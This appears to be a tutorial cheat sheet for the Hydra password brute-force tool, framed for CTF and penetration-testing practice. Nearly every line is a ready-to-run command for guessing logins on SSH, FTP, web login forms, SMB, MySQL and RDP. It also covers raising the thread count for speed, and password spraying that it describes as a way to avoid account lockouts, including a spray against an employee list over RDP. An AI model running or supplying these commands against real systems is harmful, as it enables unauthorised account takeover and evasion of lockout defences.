1. INTRODUCTION
Hydra is a fast and powerful login brute-force tool.
It supports protocols such as SSH, FTP, HTTP(S), SMB, RDP, MySQL, SMTP, VNC, POP3, and many more.
It is commonly used in:
2. BASIC SYNTAX
Hydra syntax patterns:
Single username + single password:
hydra -l USER -p PASS protocol://target
Username list + password list:
hydra -L users.txt -P passwords.txt protocol://target
Flags:
- -l : single username
- -L : username list
- -p : single password
- -P : password list
3. SSH BRUTE FORCE
Common SSH brute force:
hydra -L users.txt -P passwords.txt ssh://192.168.1.10
Single user brute force:
hydra -l admin -P rockyou.txt ssh://10.10.10.5
Use when SSH is open and weak credentials are suspected.
4. FTP BRUTE FORCE
Brute force FTP login:
hydra -L users.txt -P passwords.txt ftp://target.com
FTP often uses weak or default credentials in CTFs.
5. HTTP POST FORM BRUTE FORCE
Classic POST brute-force:
hydra -L users.txt -P passes.txt 192.168.1.20 http-post-form "/login.php:user=^USER^&pass=^PASS^:F=invalid"
Notes:
- ^USER^ and ^PASS^ placeholders are replaced on each attempt.
- F=invalid tells Hydra what response indicates a failed login.
6. HTTP GET FORM BRUTE FORCE
GET request brute force:
hydra -L users.txt -P passes.txt target.com http-get-form "/login?u=^USER^&p=^PASS^:F=incorrect"
7. SMB BRUTE FORCE
Brute force Windows SMB logins:
hydra -L users.txt -P passes.txt smb://10.10.10.15
8. MYSQL BRUTE FORCE
Brute force MySQL credentials:
hydra -l root -P passwords.txt mysql://192.168.1.50
9. RDP BRUTE FORCE
Brute force Windows Remote Desktop:
hydra -L users.txt -P passwords.txt rdp://10.10.10.25
10. SPEED AND THREAD CONTROL
Increase brute-force speed using threads:
hydra -L users.txt -P passes.txt -t 32 ssh://10.10.10.5
11. VERBOSE MODE & OUTPUT
Show every request:
hydra -vV ...
Save output to file:
hydra -L users.txt -P passes.txt ssh://10.10.10.5 -vV -o hydra_results.txt
12. PASSWORD SPRAYING
One password, many users:
hydra -L users.txt -p Password123 ssh://10.10.10.5
Useful for avoiding account lockouts.
13. CTF & PENTEST EXAMPLES
Weak SSH credentials:
hydra -l root -P rockyou.txt ssh://10.10.10.5
Web login brute force:
hydra -L users.txt -P passes.txt 10.10.10.8 http-post-form "/index.php:username=^USER^&password=^PASS^:F=Login Failed"
FTP brute force:
hydra -L users.txt -P passwords.txt ftp://target.com
Active Directory password spraying:
hydra -L employees.txt -p Winter2024 rdp://10.0.0.15
← Back to tutorial